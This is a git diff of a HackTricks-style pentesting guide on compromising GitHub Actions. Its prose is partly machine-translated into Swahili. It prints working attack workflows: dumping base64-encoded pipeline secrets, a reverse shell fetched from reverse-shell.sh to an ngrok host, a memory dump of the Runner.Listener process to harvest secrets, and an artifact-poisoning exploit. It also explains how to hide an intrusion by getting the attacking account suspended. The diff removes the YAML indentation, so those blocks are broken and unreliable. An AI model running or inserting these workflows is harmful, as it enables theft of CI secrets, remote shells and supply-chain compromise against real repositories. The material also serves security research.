[https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index c5ce0467b..df16c78ef 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -8,10 +8,10 @@ In this page you will find: - A **summary of all the impacts** of an attacker managing to access a Github Action - Different ways to **get access to an action**: - - Having **permissions** to create the action - - Abusing **pull request** related triggers - - Abusing **other external access** techniques - - **Pivoting** from an already compromised repo +- Having **permissions** to create the action +- Abusing **pull request** related triggers +- Abusing **other external access** techniques +- **Pivoting** from an already compromised repo - Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts) ## Impacts Summary @@ -22,7 +22,7 @@ If you can **execute arbitrary code in GitHub Actions** within a **repository**, - **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP. - **Compromise deployments** and other **artifacts**. - - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack. +- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack. - **Execute code in custom workers** to abuse computing power and pivot to other systems. - **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`. @@ -46,191 +46,177 @@ Some interesting things you can do with this token: {{#tabs }} {{#tab name="Merge PR" }} - ```bash # Merge PR curl -X PUT \ - https://api.github.com/repos///pulls//merge \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header "content-type: application/json" \ - -d "{\"commit_title\":\"commit_title\"}" +https://api.github.com/repos///pulls//merge \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header "content-type: application/json" \ +-d "{\"commit_title\":\"commit_title\"}" ``` - {{#endtab }} {{#tab name="Approve PR" }} - ```bash # Approve a PR curl -X POST \ - https://api.github.com/repos///pulls//reviews \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - -d '{"event":"APPROVE"}' +https://api.github.com/repos///pulls//reviews \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +-d '{"event":"APPROVE"}' ``` - {{#endtab }} -{{#tab name="Create PR" }} - +{{#tab name="Unda PR" }} ```bash # Create a PR curl -X POST \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - https://api.github.com/repos///pulls \ - -d '{"head":"","base":"master", "title":"title"}' +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +https://api.github.com/repos///pulls \ +-d '{"head":"","base":"master", "title":"title"}' ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization. +> Kumbuka kwamba katika matukio kadhaa utaweza kupata **tokens za mtumiaji wa github ndani ya mazingira ya Github Actions au katika siri**. Tokens hizi zinaweza kukupa mamlaka zaidi juu ya hifadhi na shirika.
-List secrets in Github Action output - +Orodha ya siri katika matokeo ya Github Action ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +Pata shell ya kinyume na siri ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions: +Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika hifadhi za watumiaji wengine **kwa kuangalia kumbukumbu** za vitendo:
-## Allowed Execution +## Utekelezaji Ulioidhinishwa > [!NOTE] -> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**. +> Hii ingekuwa njia rahisi zaidi ya kuathiri vitendo vya Github, kwani kesi hii inadhani kuwa una uf access **kuunda hifadhi mpya katika shirika**, au una **haki za kuandika juu ya hifadhi**. > -> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action). +> Ikiwa uko katika hali hii unaweza tu kuangalia [Mbinu za Baada ya Utekelezaji](./#post-exploitation-techniques-from-inside-an-action). -### Execution from Repo Creation +### Utekelezaji Kutoka kwa Uundaji wa Hifadhi -In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**. +Katika kesi ambapo wanachama wa shirika wanaweza **kuunda hifadhi mpya** na unaweza kutekeleza vitendo vya github, unaweza **kuunda hifadhi mpya na kuiba siri zilizowekwa katika kiwango cha shirika**. -### Execution from a New Branch +### Utekelezaji Kutoka kwa Tawi Jipya -If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called). - -You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be): +Ikiwa unaweza **kuunda tawi jipya katika hifadhi ambayo tayari ina Github Action** iliyowekwa, unaweza **kubadilisha** hiyo, **kupakia** maudhui, na kisha **kutekeleza kitendo hicho kutoka kwa tawi jipya**. Kwa njia hii unaweza **kuondoa siri za hifadhi na kiwango cha shirika** (lakini unahitaji kujua zinaitwaje). +Unaweza kufanya kitendo kilichobadilishwa kiwe cha kutekelezeka **kwa mikono,** wakati **PR inaundwa** au wakati **kodi fulani inasukumwa** (kulingana na jinsi unavyotaka kuwa na sauti): ```yaml on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - master - push: # Run it when a push is made to a branch - branches: - - current_branch_name +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- master +push: # Run it when a push is made to a branch +branches: +- current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches ``` - --- -## Forked Execution +## Utekelezaji wa Forked > [!NOTE] -> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them. +> Kuna vichocheo tofauti ambavyo vinaweza kumruhusu mshambuliaji **kutekeleza Github Action ya hifadhi nyingine**. Ikiwa vitendo hivyo vinavyoweza kuchochewa havijakamilishwa vizuri, mshambuliaji anaweza kuwa na uwezo wa kuvunja usalama wao. ### `pull_request` -The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow: +Vichocheo vya kazi **`pull_request`** vitatekeleza kazi kila wakati ombi la kuvuta linapopokelewa na baadhi ya visingizio: kwa kawaida ikiwa ni **mara ya kwanza** unapo **shirikiana**, baadhi ya **wasimamizi** watahitaji **kuthibitisha** **kuendesha** kazi hiyo:
> [!NOTE] -> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**. +> Kwa kuwa **kikomo cha kawaida** ni kwa **watoaji wa mara ya kwanza**, unaweza kuchangia **kurekebisha hitilafu/typo halali** na kisha kutuma **PR nyingine ili kutumia haki zako mpya za `pull_request`**. > -> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ +> **Nilijaribu hii na haifanyi kazi**: ~~Chaguo lingine lingekuwa kuunda akaunti kwa jina la mtu ambaye alichangia kwenye mradi na kufuta akaunti yake.~~ -Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Zaidi ya hayo, kwa kawaida **inazuia ruhusa za kuandika** na **ufikiaji wa siri** kwa hifadhi lengwa kama ilivyoelezwa katika [**nyaraka**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. +> Kwa kutengwa kwa `GITHUB_TOKEN`, **siri hazipitishwi kwa mchezaji** wakati kazi inachochewa kutoka hifadhi **forked**. **`GITHUB_TOKEN` ina ruhusa za kusoma tu** katika ombi la kuvuta **kutoka hifadhi za forked**. -An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations. +Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kutekeleza mambo yasiyo na mipaka na kuongeza vitendo vya kiholela. Hata hivyo, hataweza kuiba siri au kufuta repo kwa sababu ya vikwazo vilivyotajwa. > [!CAUTION] -> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!** +> **Ndio, ikiwa mshambuliaji atabadilisha katika PR github action itakayochochewa, Github Action yake itakuwa ndiyo itakayotumika na si ile kutoka hifadhi ya asili!** -As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**. +Kwa kuwa mshambuliaji pia anadhibiti msimbo unaotekelezwa, hata kama hakuna siri au ruhusa za kuandika kwenye `GITHUB_TOKEN`, mshambuliaji anaweza kwa mfano **kupakia vitu vya uharibifu**. ### **`pull_request_target`** -The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission). +Vichocheo vya kazi **`pull_request_target`** vina **ruhusa za kuandika** kwa hifadhi lengwa na **ufikiaji wa siri** (na havihitaji ruhusa). -Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Kumbuka kwamba vichocheo vya kazi **`pull_request_target`** **vinakimbia katika muktadha wa msingi** na si katika ile iliyotolewa na PR (ili **kutoendesha msimbo usioaminika**). Kwa maelezo zaidi kuhusu `pull_request_target` [**angalia nyaraka**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi haya hatari maalum angalia hii [**blogu ya github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**. +Inaweza kuonekana kuwa kwa sababu **kazi inayotekelezwa** ni ile iliyofafanuliwa katika **msingi** na **siyo katika PR** ni **salama** kutumia **`pull_request_target`**, lakini kuna **mifano michache ambapo si salama**. -An this one will have **access to secrets**. +Na hii itakuwa na **ufikiaji wa siri**. ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. - -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: +Vichocheo vya [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) vinaruhusu kuendesha kazi kutoka nyingine wakati imekamilika, imeombwa au inaendelea. +Katika mfano huu, kazi imewekwa ili kuendesha baada ya kazi tofauti "Run Tests" kukamilika: ```yaml on: - workflow_run: - workflows: [Run Tests] - types: - - completed +workflow_run: +workflows: [Run Tests] +types: +- completed ``` - Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ @@ -257,30 +243,30 @@ In case of a workflow using **`pull_request_target` or `workflow_run`** that dep 
# INSECURE. Provided as an example only.
 on:
-  pull_request_target
+pull_request_target
 
 jobs:
-  build:
-    name: Build and test
-    runs-on: ubuntu-latest
-    steps:
+build:
+name: Build and test
+runs-on: ubuntu-latest
+steps:
     - uses: actions/checkout@v2
       with:
         ref: ${{ github.event.pull_request.head.sha }}
 
-    - uses: actions/setup-node@v1
-    - run: |
-        npm install
-        npm build
+- uses: actions/setup-node@v1
+- run: |
+npm install
+npm build
 
-    - uses: completely/fakeaction@v2
-      with:
-        arg1: ${{ secrets.supersecret }}
+- uses: completely/fakeaction@v2
+with:
+arg1: ${{ secrets.supersecret }}
 
-    - uses: fakerepo/comment-on-pr@v1
-      with:
-        message: |
-          Thank you!
+- uses: fakerepo/comment-on-pr@v1
+with:
+message: |
+Thank you!
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. @@ -315,78 +301,74 @@ As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-a The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact. Example of vulnerable workflow: - ```yaml on: - workflow_run: - workflows: ["some workflow"] - types: - - completed +workflow_run: +workflows: ["some workflow"] +types: +- completed jobs: - success: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - name: download artifact - uses: dawidd6/action-download-artifact - with: - workflow: ${{ github.event.workflow_run.workflow_id }} - name: artifact - - run: python ./script.py - with: - name: artifact - path: ./script.py +success: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@v2 +- name: download artifact +uses: dawidd6/action-download-artifact +with: +workflow: ${{ github.event.workflow_run.workflow_id }} +name: artifact +- run: python ./script.py +with: +name: artifact +path: ./script.py ``` - -This could be attacked with this workflow: - +Hii inaweza kushambuliwa kwa kutumia mchakato huu: ```yaml name: "some workflow" on: pull_request jobs: - upload: - runs-on: ubuntu-latest - steps: - - run: echo "print('exploited')" > ./script.py - - uses actions/upload-artifact@v2 - with: - name: artifact - path: ./script.py +upload: +runs-on: ubuntu-latest +steps: +- run: echo "print('exploited')" > ./script.py +- uses actions/upload-artifact@v2 +with: +name: artifact +path: ./script.py ``` - --- -## Other External Access +## Mtu Mwingine wa Nje -### Deleted Namespace Repo Hijacking +### Utekaji wa Repo ya Namespace Iliyofutwa -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha na akaunti yenye jina hilo baada ya muda fulani. Ikiwa repo ilikuwa na **nyota chini ya 100 kabla ya kubadilisha jina**, Github itaruhusu mtumiaji mpya aliyejiandikisha kwa jina hilo kuunda **repo yenye jina sawa** na ile iliyofutwa. > [!CAUTION] -> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. +> Hivyo basi ikiwa hatua inatumia repo kutoka kwa akaunti isiyokuwepo, bado inawezekana kwamba mshambuliaji anaweza kuunda akaunti hiyo na kuathiri hatua hiyo. -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Ikiwa repo nyingine zilikuwa zikitumika **kutegemea kutoka kwa repo za mtumiaji huyu**, mshambuliaji ataweza kuzikamata. Hapa kuna maelezo kamili zaidi: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- -## Repo Pivoting +## Uhamasishaji wa Repo > [!NOTE] -> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section). +> Katika sehemu hii tutazungumzia mbinu ambazo zitaruhusu **kuhamasisha kutoka repo moja hadi nyingine** tukidhani tuna aina fulani ya ufikiaji kwenye ya kwanza (angalia sehemu iliyopita). -### Cache Poisoning +### Upoison wa Cache -A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +Cache inatunzwa kati ya **mizunguko ya workflow katika tawi moja**. Hii ina maana kwamba ikiwa mshambuliaji **anaathiri** **kifurushi** ambacho kisha kinahifadhiwa kwenye cache na **kupakuliwa** na kutekelezwa na **workflow yenye mamlaka zaidi**, ataweza pia **kuathiri** workflow hiyo. {{#ref}} gh-actions-cache-poisoning.md {{#endref}} -### Artifact Poisoning +### Upoison wa Kazi -Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: +Workflows zinaweza kutumia **kazi kutoka kwa workflows nyingine na hata repos**, ikiwa mshambuliaji anafanikiwa **kuathiri** Github Action inayopakia **kazi** ambayo baadaye inatumika na workflow nyingine, anaweza **kuathiri workflows nyingine**: {{#ref}} gh-actions-artifact-poisoning.md @@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md --- -## Post Exploitation from an Action +## Baada ya Kutekeleza kutoka kwa Hatua -### Accessing AWS and GCP via OIDC +### Kufikia AWS na GCP kupitia OIDC -Check the following pages: +Angalia kurasa zifuatazo: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -408,148 +390,138 @@ Check the following pages: ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Accessing secrets +### Kufikia siri -If you are injecting content into a script it's interesting to know how you can access secrets: +Ikiwa unachanganya maudhui kwenye script, ni muhimu kujua jinsi unavyoweza kufikia siri: -- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**. +- Ikiwa siri au token imewekwa kwenye **kigezo cha mazingira**, inaweza kufikiwa moja kwa moja kupitia mazingira kwa kutumia **`printenv`**.
-List secrets in Github Action output - +Orodha ya siri katika matokeo ya Github Action ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - '**' - push: # Run it when a push is made to a branch - branches: - - '**' +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- '**' +push: # Run it when a push is made to a branch +branches: +- '**' jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +Pata shell ya kinyume na siri ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. - - ```bash - cat /home/runner/work/_temp/* - ``` -- For a JavaScript actions the secrets and sent through environment variables - - ```bash - ps axe | grep node - ``` -- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**: +- Ikiwa siri inatumika **moja kwa moja katika muktadha**, skripti ya shell iliyotengenezwa inahifadhiwa **kwenye diski** na inapatikana. +- ```bash +cat /home/runner/work/_temp/* +``` +- Kwa hatua za JavaScript, siri zinatumwa kupitia mabadiliko ya mazingira +- ```bash +ps axe | grep node +``` +- Kwa **hatua maalum**, hatari inaweza kutofautiana kulingana na jinsi programu inavyotumia siri iliyoipata kutoka kwa **hoja**: - ```yaml - uses: fakeaction/publish@v3 - with: - key: ${{ secrets.PUBLISH_KEY }} - ``` +```yaml +uses: fakeaction/publish@v3 +with: +key: ${{ secrets.PUBLISH_KEY }} +``` -### Abusing Self-hosted runners +### Kutumia Runners za Kujihudumia -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. +Njia ya kupata ni zipi **Github Actions zinafanywa katika miundombinu isiyo ya github** ni kutafuta **`runs-on: self-hosted`** katika usanidi wa yaml wa Github Action. -**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one. - -In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: +**Runners za kujihudumia** zinaweza kuwa na ufikiaji wa **habari nyeti zaidi**, kwa mifumo mingine ya **mtandao** (nukta dhaifu katika mtandao? huduma ya metadata?) au, hata kama imejitengea na kuharibiwa, **hatua zaidi ya moja zinaweza kufanywa kwa wakati mmoja** na ile mbaya inaweza **kuiba siri** za nyingine. +Katika runners za kujihudumia pia inawezekana kupata **siri kutoka kwa \_Runner.Listener**\_\*\* mchakato\*\* ambao utakuwa na siri zote za kazi katika hatua yoyote kwa kutupa kumbukumbu yake: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` - -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Check [**hii posti kwa maelezo zaidi**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Images Registry -It's possible to make Github actions that will **build and store a Docker image inside Github**.\ -An example can be find in the following expandable: +Inawezekana kuunda Github actions ambazo **zitajenga na kuhifadhi picha ya Docker ndani ya Github**.\ +Mfano unaweza kupatikana katika ifuatayo inayoweza kupanuliwa:
Github Action Build & Push Docker Image - ```yaml [...] - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v1 +uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry - uses: docker/login-action@v1 - with: - registry: ghcr.io - username: ${{ github.repository_owner }} - password: ${{ secrets.ACTIONS_TOKEN }} +uses: docker/login-action@v1 +with: +registry: ghcr.io +username: ${{ github.repository_owner }} +password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code - run: | - sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile +run: | +sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push - uses: docker/build-push-action@v2 - with: - context: . - push: true - tags: | - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} +uses: docker/build-push-action@v2 +with: +context: . +push: true +tags: | +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] ``` -
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**. - -A user with read permissions over the repo will then be able to download the Docker Image using a personal access token: +Kama unavyoona katika msimbo uliopita, usajili wa Github unahifadhiwa katika **`ghcr.io`**. +Mtumiaji mwenye ruhusa za kusoma juu ya repo basi ataweza kupakua Picha ya Docker akitumia tokeni ya ufikiaji wa kibinafsi: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` - Then, the user could search for **leaked secrets in the Docker image layers:** {{#ref}} @@ -558,20 +530,20 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### Sensitive info in Github Actions logs -Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Hata kama **Github** inajaribu **kubaini thamani za siri** katika rekodi za hatua na **kuepuka kuonyesha** hizo, **data nyeti nyingine** ambazo zinaweza kuwa zimeundwa katika utekelezaji wa hatua hiyo hazitafichwa. Kwa mfano, JWT iliyosainiwa kwa thamani ya siri haitafichwa isipokuwa [imewekwa maalum](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## Covering your Tracks -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **canā€™t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR) +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Kwanza kabisa, PR yoyote iliyoinuliwa inaonekana wazi kwa umma katika Github na kwa akaunti ya lengo ya GitHub. Katika GitHub kwa kawaida, **hatuwezi kufuta PR ya mtandao**, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zime **simamishwa** na Github, **PR zao zote zinafuta moja kwa moja** na kuondolewa kutoka mtandao. Hivyo ili kuficha shughuli zako unahitaji ama kupata **akaunti yako ya GitHub isimamishwe au kupata akaunti yako iwe na alama**. Hii it **ficha shughuli zako zote** kwenye GitHub kutoka mtandao (kimsingi kuondoa PR zako zote za unyakuzi) -An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share ā€œsome stuffā€ in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. +Shirika katika GitHub lina ufanisi mkubwa katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki "mambo fulani" katika Issue na watakikisha akaunti yako imesimamishwa ndani ya masaa 12 :p na hapo umepata, umefanya unyakuzi wako usionekane kwenye github. > [!WARNING] -> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed. +> Njia pekee kwa shirika kugundua kuwa wamekuwa wakilengwa ni kuangalia rekodi za GitHub kutoka SIEM kwani kutoka UI ya GitHub PR itakuwa imeondolewa. ## Tools -The following tools are useful to find Github Action workflows and even find vulnerable ones: +Zana zifuatazo ni muhimu kupata Github Action workflows na hata kupata zile zenye udhaifu: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) @@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) {{#include ../../../banners/hacktricks-training.md}} - - - - diff 